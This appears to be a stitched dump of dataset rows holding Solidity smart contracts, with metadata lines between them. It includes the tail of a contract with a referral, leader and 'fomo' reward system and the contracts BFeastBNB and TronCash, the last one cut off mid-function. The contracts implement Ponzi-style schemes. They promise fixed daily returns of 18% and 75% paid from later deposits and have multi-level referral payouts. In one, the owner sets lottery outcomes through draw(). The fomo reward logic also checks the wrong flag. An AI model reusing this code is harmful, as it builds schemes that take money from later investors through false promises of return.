function getInviteInfo(address addr) public view returns (uint inviterID, uint [15] memory inviteeCnt, uint[15] memory inviteeAmount, uint[15] memory inviteeReward) {
uint uid = addr2uid_[addr];
require(uid>0, "invalid user");
Objects.Investor storage investorInfo = uid2investor_[uid];
return (investorInfo.inviteInfo.inviterID,
investorInfo.inviteInfo.inviteeCnt,
investorInfo.inviteInfo.inviteeAmount,
investorInfo.inviteInfo.reward);
}
function getInvestorInfo(address addr) public view returns (uint userID, address userAddr, uint amount, uint withdrawableReward, uint withdrawedReward, bool isLeader) {
uint uid = getUID(addr);
require(uid > 0 && uid <= userCnt_, "invalid user");
Objects.Investor storage investorInfo = uid2investor_[uid];
return (uid,
investorInfo.addr,
investorInfo.amount,
investorInfo.withdrawableAmount.add(calcProfit(investorInfo.amount, investorInfo.lastWithdrawTime)),
investorInfo.withdrawedAmount,
leaderIDMap_[uid]);
}
function calcProfit(uint amount, uint startTime) internal view returns (uint) {
uint duration = block.timestamp.sub(startTime);
if (duration == 0) {
return 0;
}
return amount.mul(DAILY_RATE).mul(duration).div(ProfitCycle).div(DIVIDE_BASE);
}
function recordFinalUser(uint uid) internal {
finalList_[finalIdx_] = uid;
finalIdx_++;
if (finalIdx_ == 100) {
finalIdx_ = 0;
}
}
function becomeLeader() public payable returns (bool) {
uint uid = getUID(msg.sender);
require(uid > 0, "invalid user");
require(leaderCnt < 50, "leader full");
require(leaderIDMap_[uid] == false, "your are leader");
require(uid2investor_[uid].inviteInfo.inviteeAmount[0] >= LeaderAmount, "insufficient amount");
leaderIDMap_[uid] = true;
leaderIdxMap_[leaderCnt] = uid;
leaderCnt++;
leaderTotalAmount = leaderTotalAmount.add(uid2investor_[uid].inviteInfo.inviteeAmount[0]);
}
function invest(uint _inviterID) public payable returns (bool) {
require(msg.value >= MinInvestAmount, "invalid invest amount");
uint uid = newUser(msg.sender);
uint inviterID = _inviterID;
require(uid > 0, "ivalid user");
if (inviterID == uid || inviterID == 0) {
inviterID = 1;
}
Objects.Investor storage investorInfo = uid2investor_[uid];
investorInfo.withdrawableAmount = investorInfo.withdrawableAmount.add(calcProfit(investorInfo.amount, investorInfo.lastWithdrawTime));
investorInfo.amount = investorInfo.amount.add(msg.value);
investorInfo.lastWithdrawTime = block.timestamp;
totalIn_ += msg.value;
totalPlay_++;
dev_.transfer(msg.value.mul(2).div(100));
node_1.transfer(msg.value.mul(2).div(100));
node_2.transfer(msg.value.mul(2).div(100));
node_3.transfer(msg.value.mul(2).div(100));
node_4.transfer(msg.value.mul(2).div(100));
leaderReward_ = leaderReward_.add(msg.value.mul(8).div(100));
fomoReward_ = fomoReward_.add(msg.value.mul(2).div(100));
recordFinalUser(uid);
bool isNew = false;
if (investorInfo.inviteInfo.inviterID == 0 && inviterID > 0) {
investorInfo.inviteInfo.inviterID = inviterID;
isNew = true;
}
if (leaderIDMap_[investorInfo.inviteInfo.inviterID]) {
leaderTotalAmount = leaderTotalAmount.add(msg.value);
}
setInviteData(uid, investorInfo.inviteInfo.inviterID, msg.value, isNew);
emit Invest(msg.sender, msg.value, ticketIdx_);
ticketMap_[ticketIdx_].uid = uid;
ticketMap_[ticketIdx_].amount = msg.value;
ticketIdx_++;
return true;
}
function ticketInfo() public view onlyOwner returns (uint maxIdx, uint curIdx) {
return (ticketIdx_,
ticketOpenIdx_);
}
function ticketID(uint id) public view onlyOwner returns (uint userID, uint amount, uint result) {
return (ticketMap_[id].uid, ticketMap_[id].amount, ticketMap_[id].result);
}
function draw(uint idx, uint val) public onlyOwner returns (bool) {
require(ticketIdx_ > idx, "invalid idx");
Objects.Ticket storage ticket = ticketMap_[idx];
require(ticket.uid > 0, "invalid ticket");
require(ticket.result == 0, "already open");
ticket.result = val;
if (ticket.result > 92) {
luckyGuy(ticket.uid, ticket.amount, idx);
}
ticketOpenIdx_++;
return true;
}
uint leaderRewardVal_ = 0;
uint leaderRewardStart_ = 0;
uint leaderRewardIdx_;
bool leaderRewardOngoing_ = false;
function sendLeaderReward(uint endIdx) public onlyOwner {
if (leaderRewardOngoing_ == false) {
require(block.timestamp.sub(leaderRewardStart_) >= 1 days, "invalid leader reward time");
}
if (endIdx > leaderCnt || endIdx == 0 || endIdx <= leaderRewardIdx_) {
endIdx = leaderCnt;
}
if (leaderRewardOngoing_ == false) {
leaderRewardStart_ = block.timestamp;
leaderRewardOngoing_ = true;
leaderRewardVal_ = leaderReward_.mul(15).div(100);
leaderRewardIdx_ = 0;
}
uint uid = 0;
uint reward = 0;
for(uint idx = leaderRewardIdx_; idx < endIdx; idx++) {
uid = leaderIdxMap_[idx];
if (uid > 0) {
reward = leaderRewardVal_.mul(uid2investor_[uid].inviteInfo.inviteeAmount[0]).div(leaderTotalAmount);
uid2investor_[uid].addr.transfer(reward);
emit LeaderReward(uid2investor_[uid].addr, reward, leaderRewardVal_);
}
}
leaderRewardIdx_ = endIdx;
if (leaderRewardIdx_ == leaderCnt && leaderRewardOngoing_) {
leaderRewardOngoing_ = false;
leaderReward_ = leaderReward_.sub(leaderRewardVal_);
}
}
function payLeaderReward(uint idx, uint amount) public onlyOwner returns (bool) {
require(idx < leaderCnt, "invalid leader idx");
require(amount <= leaderReward_, "invalid amount");
uid2investor_[leaderIdxMap_[idx]].addr.transfer(amount);
leaderReward_ = leaderReward_.sub(amount);
return true;
}
uint fomoRewardVal_ = 0;
uint fomoStart_ = 0;
uint fomoStartTime_ = 0;
bool fomoOngoing_ = false;
uint fomoRewardIdx_;
function sendFomoReward(uint endIdx) public onlyOwner {
if (fomoOngoing_ == false) {
require(block.timestamp.sub(fomoStartTime_) >= 1 days, "invalid fomo reward time");
}
if (endIdx > finalList_.length || endIdx == 0 || endIdx <= fomoRewardIdx_) {
endIdx = finalList_.length;
}
if (leaderRewardOngoing_ == false) {
fomoStartTime_ = block.timestamp;
fomoOngoing_ = true;
fomoRewardVal_ = fomoReward_;
fomoRewardIdx_ = 0;
}
uint uid = 0;
uint reward = fomoRewardVal_.div(finalList_.length);
for(uint idx = fomoRewardIdx_; idx < endIdx; idx++) {
uid = finalList_[idx];
if (uid > 0) {
uid2investor_[uid].addr.transfer(reward);
emit FomoReward(uid2investor_[uid].addr, reward);
}
}
fomoRewardIdx_ = endIdx;
if (fomoRewardIdx_ == finalList_.length && fomoOngoing_) {
fomoOngoing_ = false;
fomoReward_ = fomoReward_.sub(fomoRewardVal_);
}
}
function setInviteData(uint inviteeID, uint inviterID, uint amount, bool isNew) internal returns (bool) {
for(uint idx = 0; idx < InviteRewardRate.length && inviterID > 0 && inviterID != inviteeID; idx++) {
uid2investor_[inviterID].inviteInfo.inviteeAmount[idx] = uid2investor_[inviterID].inviteInfo.inviteeAmount[idx].add(amount);
if (isNew) {
uid2investor_[inviterID].inviteInfo.inviteeCnt[idx] = uid2investor_[inviterID].inviteInfo.inviteeCnt[idx].add(1);
}
inviterID = uid2investor_[inviterID].inviteInfo.inviterID;
}
return true;
}
function setInviteRewardData(uint inviteeID, uint inviterID, uint amount) internal returns (bool) {
for(uint idx = 0; idx < InviteRewardRate.length && inviterID > 0 && inviterID != inviteeID; idx++) {
uint reward = amount.mul(InviteRewardRate[idx]).div(DIVIDE_BASE);
totalReward_ = totalReward_.add(reward);
uid2investor_[inviterID].inviteInfo.reward[idx] = uid2investor_[inviterID].inviteInfo.reward[idx].add(reward);
uid2investor_[inviterID].withdrawableAmount = uid2investor_[inviterID].withdrawableAmount.add(reward);
inviterID = uid2investor_[inviterID].inviteInfo.inviterID;
}
return true;
}
function luckyGuy(uint uid, uint amount, uint idx) internal {
luckyCnt_++;
//uid2investor_[uid].withdrawableAmount = uid2investor_[uid].withdrawableAmount.add(amount);
uid2investor_[uid].addr.transfer(amount);
emit Lucky(uid2investor_[uid].addr, amount, idx);
}
function getReward() public payable returns (bool) {
uint uid = getUID(msg.sender);
require(uid > 0, "invalid user");
Objects.Investor storage investorInfo = uid2investor_[uid];
require(investorInfo.withdrawedAmount < investorInfo.amount.mul(2), "user out");
investorInfo.withdrawableAmount = investorInfo.withdrawableAmount.add(calcProfit(investorInfo.amount, investorInfo.lastWithdrawTime));
investorInfo.lastWithdrawTime = block.timestamp;
uint maxAmount = investorInfo.amount.mul(2);
uint amount = investorInfo.withdrawableAmount;
if (amount.add(investorInfo.withdrawedAmount) > maxAmount) {
amount = maxAmount.sub(investorInfo.withdrawedAmount);
}
uint leftReward = leaderReward_.add(fomoReward_);
if (address(this).balance > leftReward) {
if (amount > address(this).balance.sub(leftReward)) {
amount = address(this).balance.sub(leftReward);
}
} else {
amount = 0;
}
if (amount > 0) {
investorInfo.withdrawedAmount = investorInfo.withdrawedAmount.add(amount);
investorInfo.withdrawableAmount = investorInfo.withdrawableAmount.sub(amount);
msg.sender.transfer(amount);
totalWithdraw_ = totalWithdraw_.add(amount);
emit Withdraw(msg.sender, amount);
setInviteRewardData(uid, investorInfo.inviteInfo.inviterID, amount);
}
return true;
}
}
| 303,202 | 11,345 |
9eb2a14110107b9225947106d46a49d4adac7dde144aa345d34ac9f3e08bdde4
| 18,307 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/1c/1C8e814B6Bc026F945D20aA4fc7dD9F6bc76620f_BFeastBNB.sol
| 3,717 | 13,573 |
// SPDX-License-Identifier: MIT LICENSED
pragma solidity 0.8.14;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
contract BFeastBNB is Context, Ownable , ReentrancyGuard {
using SafeMath for uint256;
uint256 public constant min = 0.1 ether;
uint256 public constant max = 250 ether;
uint256 public roi = 18;
uint256 public constant fee = 6;
uint256 public constant withdraw_fee = 10;
uint256 public constant ref_fee = 8;
uint256 constant public TIME_STEP = 1 days;
address payable public dev;
bool public alreadyInvested = false;
uint256 public startDate;
constructor() {
dev = payable(0xbeace5E5Af8D25EA855C632b71971A80A47E126E);
startDate = 1660824000; //Thu Aug 18 2022 12:00:00 GMT+0000
}
function setStartDate(uint256 newTime) public onlyOwner {
require(block.timestamp < startDate, "Only before launch");
require(newTime > startDate, "Only future date");
startDate = newTime;
}
struct refferal_system {
address ref_address;
uint256 reward;
}
struct refferal_withdraw {
address ref_address;
uint256 totalWithdraw;
}
struct user_investment_details {
address user_address;
uint256 invested;
}
struct weeklyWithdraw {
address user_address;
uint256 startTime;
uint256 deadline;
}
struct claimDaily {
address user_address;
uint256 startTime;
uint256 deadline;
}
struct userWithdrawal {
address user_address;
uint256 amount;
}
struct userTotalWithdraw {
address user_address;
uint256 amount;
}
struct userTotalRewards {
address user_address;
uint256 amount;
}
mapping(address => refferal_system) public refferal;
mapping(address => user_investment_details) public investments;
mapping(address => weeklyWithdraw) public weekly;
mapping(address => claimDaily) public claimTime;
mapping(address => userWithdrawal) public approvedWithdrawal;
mapping(address => userTotalWithdraw) public totalWithdraw;
mapping(address => userTotalRewards) public totalRewards;
mapping(address => refferal_withdraw) public refTotalWithdraw;
// invest function
function deposit(address _ref) public payable noReentrant {
require(block.timestamp > startDate, "contract does not launch yet");
require(msg.value>=min && msg.value <= max, "Cannot Deposit");
if(!checkAlready()){
uint256 ref_fee_add = refFee(msg.value);
if(_ref != address(0) && _ref != msg.sender) {
uint256 ref_last_balance = refferal[_ref].reward;
uint256 totalRefFee = SafeMath.add(ref_fee_add,ref_last_balance);
refferal[_ref] = refferal_system(_ref,totalRefFee);
}
else {
dev.transfer(ref_fee_add);
}
// investment details
uint256 userLastInvestment = investments[msg.sender].invested;
uint256 userCurrentInvestment = msg.value;
uint256 totalInvestment = SafeMath.add(userLastInvestment,userCurrentInvestment);
investments[msg.sender] = user_investment_details(msg.sender,totalInvestment);
// weekly withdraw
uint256 weeklyStart = block.timestamp;
uint256 deadline_weekly = block.timestamp + (TIME_STEP * 7);
weekly[msg.sender] = weeklyWithdraw(msg.sender,weeklyStart,deadline_weekly);
// Claim Setting
uint256 claimTimeStart = block.timestamp;
uint256 claimTimeEnd = block.timestamp + TIME_STEP;
claimTime[msg.sender] = claimDaily(msg.sender,claimTimeStart,claimTimeEnd);
// fees
uint256 total_fee = depositFee(msg.value);
dev.transfer(total_fee);
}
else {
uint256 ref_fee_add = refFee(msg.value);
if(_ref != address(0) && _ref != msg.sender) {
uint256 ref_last_balance = refferal[_ref].reward;
uint256 totalRefFee = SafeMath.add(ref_fee_add,ref_last_balance);
refferal[_ref] = refferal_system(_ref,totalRefFee);
}
else {
dev.transfer(ref_fee_add);
}
// investment details
uint256 userLastInvestment = investments[msg.sender].invested;
uint256 userCurrentInvestment = msg.value;
uint256 totalInvestment = SafeMath.add(userLastInvestment,userCurrentInvestment);
investments[msg.sender] = user_investment_details(msg.sender,totalInvestment);
// fees
uint256 total_fee = depositFee(msg.value);
dev.transfer(total_fee);
}
}
function userReward(address _userAddress) public view returns(uint256) {
uint256 userInvestment = investments[_userAddress].invested;
uint256 userDailyReturn = DailyRoi(userInvestment);
uint256 claimInvestTime = claimTime[_userAddress].startTime;
uint256 claimInvestEnd = claimTime[_userAddress].deadline;
uint256 totalTime = SafeMath.sub(claimInvestEnd,claimInvestTime);
uint256 value = SafeMath.div(userDailyReturn,totalTime);
uint256 nowTime = block.timestamp;
if(claimInvestEnd>= nowTime) {
uint256 earned = SafeMath.sub(nowTime,claimInvestTime);
uint256 totalEarned = SafeMath.mul(earned, value);
return totalEarned;
}
else {
return userDailyReturn;
}
}
function withdrawal() public noReentrant {
require(block.timestamp > startDate, "contract does not launch yet");
require(weekly[msg.sender].deadline <= block.timestamp, "You cant withdraw");
require(totalRewards[msg.sender].amount <= SafeMath.mul(investments[msg.sender].invested,3), "You cant withdraw you have collected three times Already");
uint256 aval_withdraw = approvedWithdrawal[msg.sender].amount;
uint256 aval_withdraw2 = SafeMath.div(aval_withdraw,2);
uint256 wFee = withdrawFee(aval_withdraw2);
uint256 totalAmountToWithdraw = SafeMath.sub(aval_withdraw2,wFee);
dev.transfer(wFee);
payable(msg.sender).transfer(totalAmountToWithdraw);
approvedWithdrawal[msg.sender] = userWithdrawal(msg.sender,aval_withdraw2);
uint256 weeklyStart = block.timestamp;
uint256 deadline_weekly = block.timestamp + (TIME_STEP * 7);
weekly[msg.sender] = weeklyWithdraw(msg.sender,weeklyStart,deadline_weekly);
uint256 amount = totalWithdraw[msg.sender].amount;
uint256 totalAmount = SafeMath.add(amount,aval_withdraw2);
totalWithdraw[msg.sender] = userTotalWithdraw(msg.sender,totalAmount);
}
function claimDailyRewards() public noReentrant{
require(block.timestamp > startDate, "contract does not launch yet");
require(claimTime[msg.sender].deadline <= block.timestamp, "You cant claim");
uint256 rewards = userReward(msg.sender);
uint256 currentApproved = approvedWithdrawal[msg.sender].amount;
uint256 value = SafeMath.add(rewards,currentApproved);
approvedWithdrawal[msg.sender] = userWithdrawal(msg.sender,value);
uint256 amount = totalRewards[msg.sender].amount;
uint256 totalRewardAmount = SafeMath.add(amount,rewards);
totalRewards[msg.sender].amount=totalRewardAmount;
uint256 claimTimeStart = block.timestamp;
uint256 claimTimeEnd = block.timestamp + TIME_STEP;
claimTime[msg.sender] = claimDaily(msg.sender,claimTimeStart,claimTimeEnd);
}
function unStake() external noReentrant {
require(block.timestamp > startDate, "contract does not launch yet");
uint256 I_investment = investments[msg.sender].invested;
uint256 t_withdraw = totalWithdraw[msg.sender].amount;
require(I_investment > t_withdraw, "You already withdraw a lot than your investment");
uint256 lastFee = depositFee(I_investment);
uint256 currentBalance = SafeMath.sub(I_investment,lastFee);
uint256 UnstakeValue = SafeMath.sub(currentBalance,t_withdraw);
uint256 UnstakeValueCore = SafeMath.div(UnstakeValue,2);
payable(msg.sender).transfer(UnstakeValueCore);
investments[msg.sender] = user_investment_details(msg.sender,0);
approvedWithdrawal[msg.sender] = userWithdrawal(msg.sender,0);
}
function Ref_Withdraw() external noReentrant {
require(block.timestamp > startDate, "contract does not launch yet");
uint256 value = refferal[msg.sender].reward;
payable(msg.sender).transfer(value);
refferal[msg.sender] = refferal_system(msg.sender,0);
uint256 lastWithdraw = refTotalWithdraw[msg.sender].totalWithdraw;
uint256 totalValue = SafeMath.add(value,lastWithdraw);
refTotalWithdraw[msg.sender] = refferal_withdraw(msg.sender,totalValue);
}
function DailyRoi(uint256 _amount) public view returns(uint256) {
return SafeMath.div(SafeMath.mul(_amount,roi),100);
}
function checkAlready() public view returns(bool) {
address _address= msg.sender;
if(investments[_address].user_address==_address){
return true;
}
else{
return false;
}
}
function depositFee(uint256 _amount) public pure returns(uint256){
return SafeMath.div(SafeMath.mul(_amount,fee),100);
}
function refFee(uint256 _amount) public pure returns(uint256) {
return SafeMath.div(SafeMath.mul(_amount,ref_fee),100);
}
function withdrawFee(uint256 _amount) public pure returns(uint256) {
return SafeMath.div(SafeMath.mul(_amount,withdraw_fee),100);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
}
| 127,341 | 11,346 |
648fd263fdaa321559a232aede41e3737cc75040a01aed41ada18324e2604232
| 17,087 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWaLdW2U4qRvHBBCSbBNh3GtViZVntv8Po_TronCash.sol
| 4,570 | 16,259 |
//SourceUnit: troncash.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
uint256 match_bonus;
uint256 match_count;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TronCash is Ownable {
using SafeMath for uint256;
uint256 public constant REFERENCE_LEVEL1_RATE = 100;
uint256 public constant REFERENCE_LEVEL2_RATE = 50;
uint256 public constant REFERENCE_LEVEL3_RATE = 30;
uint256 public constant MINIMUM = 100e6;
uint256 public constant REFERRER_CODE = 1000;
uint256 public constant PLAN_INTEREST = 750; //75% daily
uint256 public constant PLAN_TERM =2 days;
uint256 public constant ADMIN_FEE = 250;
uint256 public constant DEVELOPER_FEE = 250;
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
uint256[3][] public matches;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
address payable public adminAddress;
address payable public developerAddress;
constructor(address payable admAddr,address payable devAddr) public {
require(!isContract(admAddr) && !isContract(devAddr));
adminAddress=admAddr;
developerAddress=devAddr;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory,uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
uint256 uid = address2UID[msg.sender];
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends,
uid2Investor[uid].match_bonus);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 adminFee = _amount.mul(ADMIN_FEE).div(1000);
uint256 devloperFee = _amount.mul(DEVELOPER_FEE).div(1000);
adminAddress.transfer(adminFee);
developerAddress.transfer(devloperFee);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].match_bonus>0) {
withdrawalAmount += uid2Investor[uid].match_bonus;
uid2Investor[uid].match_bonus = 0;
}
if(withdrawalAmount>0){
uint256 reinvestAmount = withdrawalAmount.mul(10).div(100);
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
uint256 finalAmnt=withdrawalAmount.sub(reinvestAmount);
uint256 trnsferFee=finalAmnt.mul(5).div(100);
//withdraw
msg.sender.transfer(finalAmnt.sub(trnsferFee));
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
